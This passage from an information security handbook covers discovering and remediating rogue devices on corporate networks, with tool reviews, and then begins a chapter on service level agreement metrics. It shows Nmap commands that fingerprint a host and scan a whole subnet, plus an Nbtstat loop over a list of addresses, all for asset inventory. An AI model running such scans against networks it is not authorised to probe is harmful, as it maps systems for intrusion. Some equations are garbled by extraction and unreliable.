Dealing with One-Off Systems Due to their production criticality (e.g., a medical device tied to patient health or safety), one-off systems have unusual management requirements. Despite the challenges, one-off systems still must meet baseline requirements and be monitored for compliance. For the most part, one-off systems use manual processes (carried out by the system owner or support personnel) to maintain system baseline compliance. When a one-off system cannot meet the baselines, it must be subject to other controls to remediate noncompliance
Managing Unmanaged Systems
413
risks. One such control would be placing the device on a firewall-protected or isolated network segment. Build procedures for one-off systems should include the installation of required security software, updates and settings (e.g., anti-virus, patches, password complexity) as well as monitoring agents or the accounts or credentials necessary for read-only monitoring. Like non-production systems, the onus for compliance is on the system owner, so it is important to have clearly defined requirements and expectations as well as good communications. Owners must understand exactly what is required of them and the timeframes for completing the work. The communication of new compliance requirements (e.g., a new security patch) must be effective and timely. It is best to have multiple system contacts for one-off systems so new baseline requirements and remediation actions can be escalated when needed. One-off systems are production boxes and should be monitored at the same interval as other production systems. When remote monitoring is not possible, then policies and procedures must clearly spell out compliance reporting requirements and timelines for system support personnel.
Unknown System Procedures Unknown systems are often called rogues because they are systems that have been attached to the network without the knowledge of the operations or support groups. Unknown systems do not appear in the configuration management database or other IT inventories so they are not activity managed to ensure that all critical security settings and updates are installed. Because the overall security state of these systems is not known, rogue systems pose a huge security risk to the computing environment. Portable computers brought in and attached to a network by vendors, partners, contractors, and employees are a common source of rogue systems. Other common sources include home computers used for remote network access and systems built outside the lab environment for testing, experimentation, or backup. Unauthorized wireless access points (APs) are also becoming an issue. Because of their low cost, employees will unwittingly purchase and attach these devices to the internal network without understanding the security implications. External entities (e.g., hackers) can then use these APs to attach rogue devices to the network. Perhaps the best approach for dealing with rogue systems is to prohibit them entirely. Many organizations have policies prohibiting the attachment of any non-company-owned system to their networks and most ban the use of unauthorized wireless APs entirely. Instead, they provide company-owned and managed systems to their vendors. Others require vendors’ systems to be joined to the domain or otherwise subject to baseline security checks before being attached to the internal network; however, these options are not always practical, in which case the use of restricted segments is a good alternative. A restricted segment (e.g., a DMZ or extranet) provides limited access to internal resources while providing unrestricted external connectivity so vendors can reach their home offices for mail, data entry, etc. Another strategy for mixed environments such as conference rooms is to provide restricted access for vendor systems through the wired connections while giving company-owned systems unrestricted access through secured wireless connections. Unfortunately, policies and restricted segments will not keep rogue systems off the network; as noted earlier, many of these systems are company owned or authorized devices. Dealing with rogue systems requires two distinct processes: discovery and remediation. First, there must be an effective way to identify rogue systems attached to the network and, second, there must be a very specific methodology for bringing these systems into the known system space or removing them from the network.
Discovering Unknown Systems Several different approaches can be used to find rogue devices, but they all fall into two basic categories: passive and active. Active methods provide real-time or near real-time detection of new devices; passive discovery methods periodically scan the network to detect new devices.
414
Information Security Management Handbook
Passive Discovery Methods IP Scanning Internet Protocol (IP) scanning is one of the most commonly used discovery methods. An IP scanner is an application that attempts to access and identify systems connected to the network based on a range of IP addresses. The scanner attempts to communicate with the target IP address by initiating Transmission Control Protocol (TCP) or User Datagram Protocol (UDP) handshakes to common service ports; depending on the services or software that is running, the target machine will generate a response. Based on these responses, the scanner can deduce the presence of the device and, potentially, the system name, OS version, and system role (e.g., router, Webserver, DBMS). These results can then be compared to CMDB records to determine whether or not this is a known or rogue device. Fairly simple to use, IP scanners are reasonably accurate and have good performance attributes. Also, quite a few IP scanners are available so it should not be difficult to find one that suits an organization’s particular needs. Because IP scanners generate relatively small amounts of network traffic, they can be used effectively on low-bandwidth connections, including dial-up. This efficiency also makes it possible to scan a large number of addresses in a relatively short period of time. This improves their effectiveness by permitting them to be run more often. IP scanners also have their limitations. Scans are only conducted on a periodic basis so only those systems that are online when the scan is conducted will be detected. Remote or portable systems that only access the network for short periods may never be detected. Periodic scanning also means a rogue device could be on the network distributing worms or other malware for a significant period of time before being detected. The greater the interval between scans the more significant these issues become. IP scanners are not selective, so they will report on every device that responds within the specified address range; therefore, it may be necessary to filter the results to eliminate some devices before comparing them to CMDB records. Network devices such as firewalls and routers using IP filters as well as similar host-based security measures can significantly reduce the effectiveness of IP scanners by masking or limiting the responses needed to properly identify a device. Network services such as proxy PING, Dynamic Host Control Protocol (DHCP), and dynamic Domain Name System (DNS) can also skew results by reporting nonexistent systems or making systems appear under multiple IP or name records. For specific information about IP scanning tools and techniques, see the tools section. SNMP Scanning Simple Network Management Protocol (SNMP) scanners are similar to IP scanners, and they can be configured to scan a range of IP address or specific targets. All the devices attached to the network are configured to respond to a standard SNMP System Group query. This read-only query is mandatory for all SNMP implementations and should return the following information: • System name — The administratively assigned name of this device; usually the fully-qualified domain name. • System description — A textual description of the device including the type of hardware, software operating system, and networking software for the system. • System contact — A textual description of the person or group responsible for managing this device including information on how to contact this person (e.g., telephone number, e-mail). • System location — The physical location of this device (e.g., telephone closet, third floor, Bldg. 4). • System up time — Amount of time in hundreds of seconds since the last system restart. Among its several advantages, SNMP queries have very little impact on network bandwidth or targeted systems so they can be used to scan a large number of systems across all types of connections. Network devices such as firewalls and routers can be easily configured to allow SNMP operations across network segments without significantly increasing risk. The queries are read only and return most of the key management data required. Queries can also be tuned to specific types of systems using different community strings, eliminating the need to filter results to remove unwanted responses.
Managing Unmanaged Systems
415
On the down side, SNMP queries cannot distinguish between a nonexistent node and an active node that does not have SNMP enabled; both will fail to respond. This means that SNMP scans must incorporate other methods such as PING or reverse DNS lookup to validate results. Because SNMP uses UDP, results can be adversely impacted by network bandwidth availability. The usefulness of the returned data may also vary. The text fields have no specific format so it may be difficult to accurately parse the data elements (e.g., OS type, version), and the amount of contact and location information returned depends entirely on what was entered in those fields when the SNMP agent was configured. Network Service Query Network services that dynamically register systems can also be used for discovery purposes. For example, the database of a DHCP service contains system names and MAC and IP addresses. Periodically querying the DHCP service for a list of active devices and comparing the results to the CMDB will reveal rogue systems. This is equally true of naming systems such as dynamic DNS and the MEWindows Internet Naming Service (WINS). Periodically comparing registered system names to CMDB entries should expose unknown devices. Systems also dynamically register their MAC and IP addresses in router Address Resolution Protocol (ARP) tables, so comparing ARP data to CMDB entries is also an effective way to find rogues. A big advantage to using this method is that it requires no new or custom tools. These services are already present on the network, and systems will automatically register with them. The key to the effectiveness of this method is to set the query interval low enough to capture the data before the service ages out (drops) the information. A good rule of thumb is to set the interval to one half the aging value. A DHCP system that expires leases every 24 hours can be queried as little as twice a day, but an ARP service that drops inactive nodes in 40 minutes must be queried at least three times an hour. Several issues arise with regard to using network services data for discovery purposes. The data is only collected on a periodic basis so only those systems that are registered when the data is collected will be found. If the interval between queries is too long, records will age out and some systems will not be detected. Periodic scanning also means a rogue device can be on the network for some period of time before being detected. Depending on the service, the results may have to be filtered because they contain all types of devices (e.g., ARP) or augmented because they only contain a subset of devices (e.g., WINS). Another thing to realize is that systems do not have to use these services (e.g., systems with static IPs do not register with DHCP), and this also affects the accuracy of the results. Finally, it is important to understand that these services are not designed for this kind of usage. Extracting data can be difficult and could potentially cause the service to malfunction. ARP is probably the exception; it can be queried using SNMP but ARP is not a centralized database. It is necessary to query all the distribution routers to collect all the required data. Network Probe The final passive discovery method uses network probes to collect node information. A probe is a device that monitors network traffic and gathers data about the devices sending or receiving packets. Remote Monitoring (RMON) is an Internet Engineering Task Force (IETF) standard monitoring specification designed to provide network administrators with diagnostic, planning, and performance tuning information. Several commercial and freeware probes have been designed to specifically address security issues such as unauthorized network devices for wired and wireless environments (e.g., NDG Software’s Etherboy, AirMagnet Products’ AirMagnet Distributed). Probes are very efficient. They use minimal network bandwidth, as they only generate traffic in response to report queries. Probes gather information about systems over time and can usually determine the system name, OS, and version with reasonable accuracy. Depending on the implementation, probes can filter and consolidate data and automatically forward it to a central collection console; however, probes have limited effectiveness because they can only see systems that generate traffic on the segment they are connected to. It is not practical to place a probe on every segment, but placing them on commonly used segments such as the Internet feed or network backbone will improve their effectiveness. Nonetheless, a rogue system that never generates
416
Information Security Management Handbook
traffic on these segments could remain on the network and never be detected. The accuracy of a probe can also be reduced if high-traffic volumes exceed the processing capabilities of the probe, causing it to drop packets. Summary Passive discovery methods can be reasonable effective at finding unknown or rogue systems. They are fairly simple to use, reasonably accurate, and very efficient. Many passive scanners are available, so it is not difficult to find one suited to an organization’s particular requirements, and they will work in most environments without any infrastructure changes. However, scans conducted on a periodic basis can only detect devices that are online during the scanning period; consequently, systems that access the network for short periods may not be detected. Periodic scanning makes it possible for infected devices to be connected to the network for a significant period of time before being detected. Finally, scanning applications are not particularly selective; they will report on every device that responds within the specified address range, making it necessary to filter the results to eliminate uninteresting systems.
Active Discovery Methods Active discovery methods have the advantage of providing real-time or near real-time detection of new devices. Active discovery can use network devices or services to identify devices connected to the network. Network Service Monitoring The network service query technique described above can provide proactive real-time notifications by setting up a process to monitor changes to the service data files. For example, if changes to the DHCP database are monitored, as soon as a device registers with the DHCP the management system is notified of the change and can take action to identify the new system. For systems that are unknown, further actions can be taken to gather additional inventory information. Network service monitoring has the same advantages as the network service query method with the added advantage of providing near realtime detection of new or rogue devices; however, an infected system still may have sufficient active access to the network to spread the infection. It is also important to remember that, like the query method, the results may have to be filtered to specific devices, and the accuracy of the results depends on the systems using the services being monitored. The fact that this is a custom solution is also a disadvantage from a maintenance and service perspective. The volume of changes can also influence the effectiveness of results if it overwhelms the processor. Network Probe SNMP Traps Some network probes can be configured to generate SNMP traps when they detect a new node. This is a standard capability on RMON probes. When the trap is received, the network management system can initiate a process to identify the system, gather additional inventory information, or take remediation action. This method has the advantage of supplying near real-time detection, but an infected system will still have active access to the network and could spread the infection. This method, however, has the same drawback as the passive network probe solution; it can only monitor for new nodes on a single segment. If a rogue system is not connected to a monitored segment, it will never be detected. The accuracy of a probe can also be reduced by high traffic volumes that exceed the processing capabilities of the probe or interfere with SNMP trap deliveries. IEEE 802.1x The IEEE 802.1x standard defines port-based, network access control for Ethernet networks. This portbased network access control uses the physical characteristics of the switched LAN infrastructure to authenticate devices attached to a LAN port. Access to the port can be denied if the authentication process fails. Although this standard is primarily used for wireless (802.11) networks, many vendors
Managing Unmanaged Systems
417
FIGURE 33.1 Components for a wireless LAN network.
also support it on wired Ethernet LANs. The IEEE 802.1x standard defines four major components: the port access entity, the supplicant, the authenticator, and the authentication server. A port access entity (PAE) is a LAN port that supports the IEEE 802.1x protocol. A PAE can adopt the role of the authenticator or the supplicant, or both. A supplicant is a PAE that is attempting to access services on the network, typically an end-user device such as a laptop, workstation, or PDA. An authenticator is a PAE that enforces authentication before granting the supplicant network access. For wireless connections, the authenticator, is the logical LAN port on a wireless access point; on a wired network, it is a physical port on an Ethernet switch. The authentication server is used to verify the credentials of the supplicant. The authenticator collects credentials from the supplicant and passes them to the authentication server for verification. The authentication server can be a component of the authenticator device but more often it is a separate device such as a Remote Dial-In User Service (RADIUS) server. Figure 33.1 shows these components for a wireless LAN network. An authenticator has two types of ports. It uses an uncontrolled port to communicate with LAN devices and exchange data with the authentication server. It uses a controlled port to communicate with supplicants. Before authentication, no network traffic is forwarded between the supplicant (client) and the network. This has the advantage of preventing an infected device from spreading that infection on the network. Figure 33.2 shows the two types of ports in a wireless configuration. When the client is authenticated, the controlled port is switched so the client can send Ethernet frames to the network. In a wireless network, multiple clients can be connected to the logical ports on an AP; on a wired network, only one client is connected to a physical port on the Ethernet switch. The 802.1x mechanism supports multiple authentication methods via the Extensible Authentication Protocol (EAP). These include PEAP-MSCHAPv2, digital certificates (EAP-TLS), and two-factor authentication using tokens. For each of these authentication methods, a RADIUS server is used to verify credentials and provide the “EAP Successful” message to the authenticator.
FIGURE 33.2 Controlled and uncontrolled ports for IEEE 802.1X.
418
Information Security Management Handbook
The major advantages of 802.1x are that it works in real time and will keep unauthorized/rogue systems off the network entirely. This prevents the spread of worms or viruses from infected unknown systems. Some of the major drawbacks include the necessity of having an infrastructure that supports 802.1x, including compatible switches, wireless access points, and clients. Also, 802.1x does not prevent a known system with an infection or vulnerability from attaching to the network and posing a threat to the entire computing base, and 802.1x does not provide notification or inventory information for unknown systems. Systems that fail to authenticate are simply not allowed on the network. Monitoring RADIUS accounting and EAP message logs can provide some information regarding these devices, but this is not real time and may not be sufficient to effectively identify and remediate unmanaged systems. IPSec Internet Protocol Security (IPSec) provides the logical equivalent of 802.1x. Instead of preventing the physical connection of a device to the network, it prevents logical connections between systems. Where 802.1x relies on switches and access points to apply physical controls, IPSec makes the systems themselves the control points. IPSec has two protection mechanisms: the Authentication Header (AH) and the Encapsulating Security Protocol (ESP). The AH header is used for authentication and the ESP header for encryption and integrity. IPSec uses security associations (SAs) to establish connections between systems. Two systems with a common SA can authenticate one another and set up a data connection. SAs can also be setup dynamically using the Internet Key Exchange (IKE) protocol which includes node authentication with mechanisms such as X.509 certificates or Kerberos. Because unknown or rogue systems do not have the required SAs or access to the required authentication mechanism, they cannot connect to systems requiring IPSec connections. IPSec does not prevent unmanaged systems from being physically connected to the network but it does deny them logical access to other systems, which prevents the exploitation of vulnerabilities or the spreading of malicious code. IPSec is supported on most operating systems; unlike 802.1x, no major infrastructure upgrades are required. IP is also supported on many network control devices such as routers, switches, and VPN servers, which allows for expanded control scenarios, such as the use of VPN-style connections on internal segments; however, configuring an infrastructure to use IPSec is not a trivial task. A big disadvantage of IPSec is the lack of tools for managing IPSec connections across vendor platforms. This means many connections must be manually configured and maintained. Manual configurations usually require fixed IP addresses rather than dynamically allocated IPs (e.g., DHCP). Systems with common operating systems fair better; for example, Windows-based systems can use GPOs to centrally manage IPSec settings and Kerberos to perform dynamic authentications, making the practical deployment of IPSec fairly straightforward. Coverage is another issue. Although most host devices (e.g., servers) can be configured to accept only IPSec connections, end-user systems (e.g., workstations and laptops) must allow non-IPSec connections to systems such as Web sites or identity management (IM) servers. This can make them susceptible to compromise from infected rogue devices. Finally, IPSec does not provide notification or inventory information for unknown systems; systems that fail authentication are simply not allowed to connect to an IPSec-protected resource. Monitoring IPSec and system authentication logs can provide some information regarding unknown devices, but this is not real time and may not be sufficient to effectively identify and remediate an unmanaged system. Health-Check Mechanisms Several companies are producing health-check mechanisms that help administrators enforce compliance with security and configuration policies before granting network access. They were first introduced on remote access connections; after connecting, systems are denied network access while the VPN or connection agent performs the necessary health checks. This capability has been expanded to include wired and wireless connections. Health-check mechanisms are not security controls per se but can help prevent the introduction of malicious code and unmanaged systems to the network. Health-check mechanisms consist of three components: client agent, policy service, and enforcement agent. When a system is first
419
Managing Unmanaged Systems
connected to the network, the enforcement agent requests the health status of the device from the client agent. Any system without the agent will obviously fail; otherwise, the enforcement agent will compare the status to the appropriate policy on the policy service. If the system passes the health check, it is granted access to the network; if not, network access is blocked or the device is referred to a remediation process. Remediation referral is a major advantage on two fronts. First, it allows system issues to be proactively addressed and automatically resolved, and, second, it allows (depending on the capabilities of the mechanism) remediation to perform just about any action. Developers and administrators can create solutions for validating any number of requirements and provide the required remediation, including system identification and inventory, staff notification, update deployment, or system quarantine. These mechanisms work in real time, so malicious activity is proactively prevented. Health-check mechanisms do have their disadvantages. They are not designed to secure a network from malicious users; they are designed to help administrators maintain the health of the computers on the network, which in turn helps maintain the overall integrity of the network. Just because a system complies with all the defined health policies does not mean it is not infected with malicious code, only that the infection is not covered by existing policies. The ability of a system to gain network access also depends on the enforcement mechanism; for example, if the enforcement mechanism uses DHCP, it is relatively easy to bypass enforcement using a fixed IP address. On the other hand, if 802.1x is used for enforcement, it would be difficult to bypass. Summary Active discovery methods can accurately identify unknown or rogue systems in real or near real time. They are more complex to operate but produce better overall results. Fewer active discovery tools are available, but they tend to be more selective so results do not require extensive filtering; however, active tools may require customization to effectively address particular requirements. Also, some active methods such as 802.1x can require substantial infrastructure changes. Nonetheless, active discovery methods do prevent infected devices from accessing the network for any substantial period of time.
Unknown System Remediation Finding unknown systems is only half the process. When detected, these systems must be identified, located, and integrated into the management process or removed from the network. The IP address is usually sufficient to narrow the location of an unknown system to a specific area and to notify the support or security personnel responsible for that area. The area personnel must take the steps necessary to mitigate the risks these systems represent. These steps can include joining the system to the domain, installing required software and updates, configuring required system policies, and disabling generic user accounts. To be effective, this remediation process must be well defined and have established timelines. Table 33.3 provides an example of how this process might work for a system requiring remediation for TABLE 33.3 Remediation Schedule Action 1 2 3a 3b 4 5 6 7 8
Establish system owner/administrator. Determine management requirements (third-party, lab/test, one-off, unmanageable). If unmanageable, remove from network. Enter system into configuration management database (CMDB). Determine remediation requirements. Develop remediation plan. Test remediation solutions for system compatibility. Deploy remediation solutions. Verify system compliance.
Timeframe Within 4 business hours of discovery Within 1 business day ASAP Within 1 business day Within 1 business day Within 1 business day Within 5 business days Within 7 business days ASAP
420
Information Security Management Handbook
high-risk vulnerabilities. The timeframe for system remediation is based on two factors: the risks associated with the system and company policies and standards governing risk remediation. For example, a system running a worm executable (e.g., MSBLASTER.EXE) would require immediate remediation, whereas a system missing a medium-risk security patch might have a two-week timeframe. The actually remediation actions will vary depending on the requirements and the system (or systems) the company uses for remediation. For example, some possible remediation action could include: • Join the system to the domain, which allows security GPOs to be applied and the system management services to install required software and updates. • Inform system management services, which allows management systems to apply appropriate updates and settings. • Move the system to a restricted/controlled network segment. • Manually apply updates and settings.
Tool Reviews and Examples This section contains information on several tools that can be used to facilitate or automate discovery, inventory, and monitoring practices.
Nmap Nmap (“Network Mapper”) is a free open source utility for network exploration and security auditing. It was designed to rapidly scan large networks, although it will work equally well for single systems. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network and their operating system (including version), the services they are running, the packet filters or firewalls in use, and dozens of other characteristics. Nmap runs on most vendor platforms and is available in both console and graphical versions. Nmap is distributed under the terms and conditions of the GNU’s General Public License (GPL). Examples The following example displays the OS, OS version, and services running on a single system named Madell: ./nmap -A -T4 Madell.company.com Starting nmap 3.40PVT16 ( http://www.insecure.org/nmap/ ) at 2004-01-03 02:56 PDT Interesting ports on Madell (127.0.0.1): (The 1640 ports scanned but not shown below are in state: closed) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 3.1p1 (protocol 1.99) 53/tcp open domain ISC Bind 9.2.1 443/tcp open ssl/http Apache httpd 2.0.39 ((Unix) mod_perl/1.99_04-dev [cut]) 5001/tcp open ssl/ssh OpenSSH 3.1p1 (protocol 1.99) 6000/tcp open X11 (access denied) 8080/tcp open http Apache httpd 2.0.39 ((Unix) mod_perl/1.99_04-dev [cut]) Device type: general purpose Running: Linux 2.4.X|2.5.X OS details: Linux Kernel 2.4.0 - 2.5.20 Uptime 3.45 days (since Fri Jan 03 1:32:40 2004) Nmap run completed -- 1 IP address (1 host up) scanned in 51.24 seconds
Managing Unmanaged Systems
421
The scan can be expanded to all systems on the network segment by adding a range parameter to the command: ./nmap -A -T4 Madell.company.com/24
By adding the /24 class C network mask, Nmap will scan all the systems on the segment Madell is attached to.
Nbtstat Nbtstat is a Windows tool that displays NetBIOS over TCP/IP protocol statistics including the NetBIOS name tables and the NetBIOS name cache. The target can be the local computer or a remote host, but Nbtstat does not support scanning a range of IP addresses. This requires some minor scripting efforts. For example, the following command line will feed a list of IP addresses from a text file into the Nbtstat command. FOR /F %a IN (IPAddresses.txt) DO Nbtstat –A %a
Example This example returns the system name table and MAC address for a system name Products. C:\ >nbtstat -an Products Local Area Connection: Node IpAddress: [192.168. 0.98] Scope Id: [] NetBIOS Remote Machine Name Table Name Type Status -----------------------------------------------PRODUCTS <20> UNIQUE Registered PRODUCTS <00> UNIQUE Registered MAC Address = 00-08-02-B2-AD-C9
SuperScan SuperScan is a free utility from Foundstone that can be used to collect information about systems connected to the network. SuperScan is a graphical user interface (GUI)-based utility with a large number of discovery and scanning options as well as a set of compatible tools for gathering additional information about a device or network. For example, it has a DNS zone transfer tool, a Whois tool, and a configurable Windows Enumeration tool. SuperScan can be configured to use the Internet Control Messaging Protocol (ICMP), TCP, and UDP to discover systems. The tool is preconfigured with the most commonly used ports but other ports can be added. The Windows Enumeration tool has an interesting option that allows users to enumerate a number of registry keys. The keys are specified in a flat text file so it is possible to use the option to check for installed software and patches. SuperScan is extraordinarily fast and accurate, but the report mechanism is weak; only HTML reports are supported. SuperScan version 4 is available from http://www.foundstone.com/resources/ scanning.htm.
SNMP Sweep SNMP Sweep is part of the SolarWinds Network Management Suite. The suite contains a number of utilities for network discovery and performance management designed with an emphasis on speed, accuracy, and ease of use. SNMP Sweep can scan a range of IP addresses and show which IP addresses are in use and their DNS lookup names. If the systems have SNMP enabled and the proper community string configured in SNMP Sweep, the system name, location, contact, last reboot, and system description are also returned. SNMP Sweep can print results or export them into plain text, http, or comma-delimited
422
Information Security Management Handbook
files for reporting or consolidation. Additional information on SNMP Sweep and the SolarWinds tools can be found at: http://www.solarwinds.net.
Systems Management Server On the enterprise end of tools is Systems Management Server (SMS) 2003. It provides a comprehensive solution for change and configuration management for the Microsoft platform, enabling organizations to provide relevant software and updates to users quickly and cost effectively. SMS 2003 SP1 provides a number of system management functions, but the primary ones we are interested in for this article are the discovery and asset management capabilities of the product. SMS has three primary discovery methods: Heartbeat, Network, and Active Directory. Heartbeat discovery is used to refresh discovery data in the SMS database; it is primarily used to update system discovery data for systems that would be missed by the other discovery methods. Network discovery is used to find devices with IP addresses; network discovery can be configured to search specific subnets, domains, SNMP devices, or Windows DHCP databases. Active Directory discovery identifies computers by polling an AD domain controller; AD discovery can be configured to search specific containers such as domains, sites, organizational units, or groups for new systems. All three discovery methods are passive; the administrator must schedule their periodic execution. SMS also supports the execution of scripts so it is possible to implement other discovery methods to meet specific reporting needs. For example, a script can be used to discover clients during a network log-on. Scripts also provide administrators with greater flexibility and control, including the ability to send alerts and notifications or to process non-Windows devices. When a node has been discovered, it is possible to use other features of SMS to gather additional information about the node. For example, the SMS automatic deployment option can be used to install the SMS client on the system, and the agent can then perform a full hardware and software inventory of the system.
Hardware and Software Inventory Utilizing the Windows Management Instrumentation (WMI), SMS 2003 can accumulate a richer set of inventory data during an inventory scan including BIOS and chassis enclosure information. This function can be used to compare hardware attributes against an asset inventory to discover unfamiliar hardware attributes. These hardware attributes may point to a foreign or illegal system that was joined to the domain or newly acquired hardware models that may require the establishment of new security baselines. SMS 2003 can provide a comprehensive inventory of executables on a system but also has granularity controls that permit administrators to focus on a core set of applications and files of particular importance or interest. SMS 2003 also supports wildcard file searches and searches for specific file properties or environment variables. These functions can be used to discover missing files, malicious content, and spyware. SMS stores result in an extensible SQL database that can serve as the configuration management database. It also provides for robust, flexible, and fully extensible Web reporting with over 120 pre-built reports. Importing and exporting capabilities are also available for consolidating information from other sources or transferring SMS results to other environments.
Conclusion Unmanaged or rogue systems present a major security threat to networks. Worm and virus infections can often be traced to external systems brought into the company and attached to the internal network. Unmanaged systems can facilitate and intensify attacks and create downstream liabilities. Turning unmanaged systems into managed systems or removing them from the network is crucial to maintaining network security. This chapter has identified a number of methods that can be used to identify and remediate unmanaged or rogue systems on network systems. You cannot secure what you do not know about; start managing your unmanaged systems now.
34 Understanding Service Level Agreements Gilbert Held
Overview A service level agreement (SLA) represents a binding contract between a network service provider (or communications carrier) and a customer. The SLA specifies, in measurable terms, what services the network provider will furnish and the penalties, if any, for not providing a specific level of service. Because an SLA indicates an expected level of service as well as potential penalties for not providing such service, many information systems (IS) departments in large organizations have adopted the concept of providing SLAs to their customers. While such agreements are to be commended because they clarify customer expectations, this article primarily focuses on SLAs issued by network service providers to their customers. For both types of agreements, it is important to have measurable or quantifiable metrics incorporated within the contract. Such measurements should be easily determined by both parties to the agreement, and any penalties resulting from a level of service falling below a specified level should be carefully examined by organizations on the receiving side of an SLA. As discussed later, certain limitations that place a cap on poor performance can result in an organization having a legal obligation to continue to pay for inferior performance while being limited to receiving, at best, a minor amount of credit each month.
Metrics Although the metrics defined in an SLA can vary based on the type of service provided, most SLAs include a core set or group of metrics. Those core metrics normally include availability, bandwidth or guaranteed capacity, error rate, and packet delay or latency. The remainder of this section deals with obtaining a detailed understanding of each metric.
Availability Availability refers to the ability of a client to gain access to the communications carrier network. From a mathematical perspective, availability (A) can be expressed as follows: A% = 100 ∗
Operational time Operational time + nonoperational time
From the above equation, you can note that the denominator — “operational time + nonoperational time” — is equivalent to total time. For example, assume that over a 30-day period an organization was
423
424
Information Security Management Handbook
almost always able to access the communications carrier’s network except for a two-hour period when an access line became inoperative. Then, availability for the month would become: A% = 100 ∗ A% = 99.72
30 ∗ 24 − 2 718 = 100 ∗ 30 ∗ 234 720
As an alternative to the previous equation, some service providers express availability in terms of mean time to failure (MTTF) and mean time to repair (MTTR). When expressed in this manner, the total time is MTTF + MTTR, resulting in availability expressed as a percentage as follows: Availability % − 100 ∗
MTTF MTTF + MTTR
It is important to note that some service providers do not automatically start the clock rolling when a failure occurs. Instead, their failure computation begins at the time the customer notifies the help desk. While this may appear to be a reasonable method for computing availability a few years ago, with the growth in diagnostic testing and the ability of network management centers to monitor the status of circuits in real-time, customers should carefully consider when network failure computations begin. When examining availability levels defined in an SLA, it is also important to note the period for which a specific level is guaranteed. Although most communications carriers define availability on a monthly basis for each 24-hour day in the month, most organizations use the vast majority of network facilities during an eight-hour period each day that corresponds to the working day. Thus, a level of availability expressed over a 24-hour period that appears reasonable could become a problem if all or a majority of network access failures were concentrated into the eight-hour time period, which corresponds to the business day. Thus, it is important to examine the operational period associated with availability metrics listed in an SLA. Another important availability-level consideration is in the expression of availability. While the availability level is most often expressed as a percent, it is important to consider what the percentage represents. For example, an availability level of 99.1 percent for a 30-day month means that the service provider can have the following outage duration per month: 30 days ∗ 24 hours/day ∗ 0.009, or 6.48 hours This means that an organization needs to examine availability expressed as a percentage and convert that percentage into a time period. Then, one needs to ask if the organization is willing to allow the service provider to have, as per this example, almost seven hours of access outages per month.
Bandwidth Bandwidth or capacity refers to the amount of data a location can transmit per unit time. In the past, the installation of a T1, fractional T1, T3, or fractional T3 line resulted in an organization being able to transmit and receive at the maximum capacity of the access line. Because most organizations only periodically require the full capacity of the access line, service providers commonly set their rates according to the use of the transmission facility, in effect creating a tiered rate plan based on usage. For example, a service provider might establish a four-tiered rate schedule for a customer that installed a T1 access line operating at 1.544 Mbps. The first tier would set a monthly price when the customer’s average transmit level was at or under 384 Kbps, while the second tier would have a different monthly price associated with the customer having a monthly average line occupancy level greater than 384 Kbps but less than or equal to 768 Kbps. Similarly, the third-tier pricing level would occur when the average line
425
Understanding Service Level Agreements
Frame/Packet Transmission Service Provider X Service Provider Y
Time = Bit Error
FIGURE 34.1 Comparing bit errors of two service provider networks.
occupancy level was greater than 768 Kbps but less or equal to 1152 Kbps, with the fourth tier representing an average line occupancy greater than 1152 Kbps. Because the service provider may oversubscribe the maximum transmission rate of a group of customers within a geographical area above the capacity of a network node, this means that not all customers can burst transmission at the same time. Recognizing this fact, many service providers added a bandwidth or capacity SLA metric to their contract. Under this performance metric, customers are guaranteed the ability to burst up to the maximum access in capacity for a certain period of time, such as 80 percent of the business day. A more common method associated with bandwidth or capacity can occur when service providers guarantee a percentage of frames or packets that flow from end-to-end through their networks. A negative metric is usually employed, with the service provider guaranteeing that the percentage of dropped frames will not exceed a certain value. For example, the service provider might guarantee that the average number of frames or packets dropped will not exceed 0.0001 percent, or 1 per 10,000.
Error Rate Although availability and bandwidth are important metrics, it is also extremely important for data to arrive at its destination unaltered. Thus, another performance metric incorporated into many SLAs is an error rate. There are several types of error rates that can be used by service providers. Perhaps the most common method used for error rate is a percentage of unaltered frames or packets. For example, a service provider could include a performance metric that guarantees 99.9 percent of frames or packets arrive at their destination without being in error. A second common method of expressing an error rate within an SLA is obtained by defining a bit error rate (BER), which is typically expressed in terms of the number of bits in error per million (106) bits transmitted. Although at first glance the difference between expressing an error rate in terms of frames or packets being in error and a bit error rate may appear minor, in actuality the differences can be considerable, especially when comparing service providers that use different performance metrics in their SLAs. To illustrate the differences between the two metrics, consider Figure 34.1, which compares the occurrence of bit errors on two service provider networks to a series of frames or packets transmitted over those networks. Both service providers are shown to have six bit errors during the same period of time; however, service provider X’s bit errors are distributed over time while service provider Y’s bit errors occur during one small interval of time, more than likely representing a burst of errors due to electromechanical interference, lightning, or other impairment. If you compare the transmission of frames or packets shown in the top portion of Figure 34.1 to the bit errors occurring using service provider X, you will note that the errors adversely affect three frames or packets. In comparison, if you compare the bit errors that are shown occurring on service provider Y’s network to the sequence of frames or packets being transmitted, you will note that only one frame or packet is adversely affected.
426
Information Security Management Handbook
End-to-End Delay Service Provider Switch
Access Line Router
Access Line Router Service Provider Switch
Service Provider Switch Service Provider Switch Ingress through Egress Delay
FIGURE 34.2 Comparing network delay or (latency) computation methods.
If you are using a Frame Relay network, errored frames are dropped and a timeout period occurs with a lack of response that results in the frame being retransmitted. In a TCP/IP packet environment, a bit error occurring in a packet results in the receiving destination rejecting the packet, causing the originator to re-send previously transmitted data. Thus, regardless of the type of network used, the result of distributed bit errors is retransmission of frames or packets, which adversely affects throughput. For this reason, we cannot directly compare bit error rates between service providers, and this explains why a majority of service providers express the error rate in their SLAs in terms of either error-free or errored frames or packets and not in terms of a bit error rate.
Packet Delay The level of packet delay or latency becomes important when an organization transmits time-sensitive information, such as video or voice, over a service provider’s network. In addition, it is important to note the manner by which packet delay or latency is computed because key differences can occur between the methods used by different service providers. Concerning the latter, some service providers define packet delay or latency from the ingress point into their network to the egress point out of their network. Other service providers, especially vendors that offer a managed Frame Relay or IPSec VPN service, define packet delay on an end-to-end basis. While the differences between the two may appear trivial, in actuality they can be considerable due to the differences between the types of circuits used for a network backbone and local access line. Figure 34.2 illustrates a comparison of packet delay for network ingress through network egress versus end-to-end delay. Note that the end-to-end delay results in the inclusion of the delays associated with transmitting data over each access line. Service providers specify network delay or latency in terms of milliseconds (msec), with between 100 and 125 msec commonly guaranteed for nationwide transmission, with an extra 25 msec added to latency guarantees when transmission occurs between locations in Europe and North America or between Japan and North America. If the service provider delay is not expressed in terms of end-to-end delay, one needs to compute the delay associated with the organization’s access lines if one is considering running time-dependent data through the network. Then, one needs to add the access line delay to the service provider’s network delay metric to determine if the total end-to-end delay will adversely affect any real-time application the organization intends to use. To illustrate an 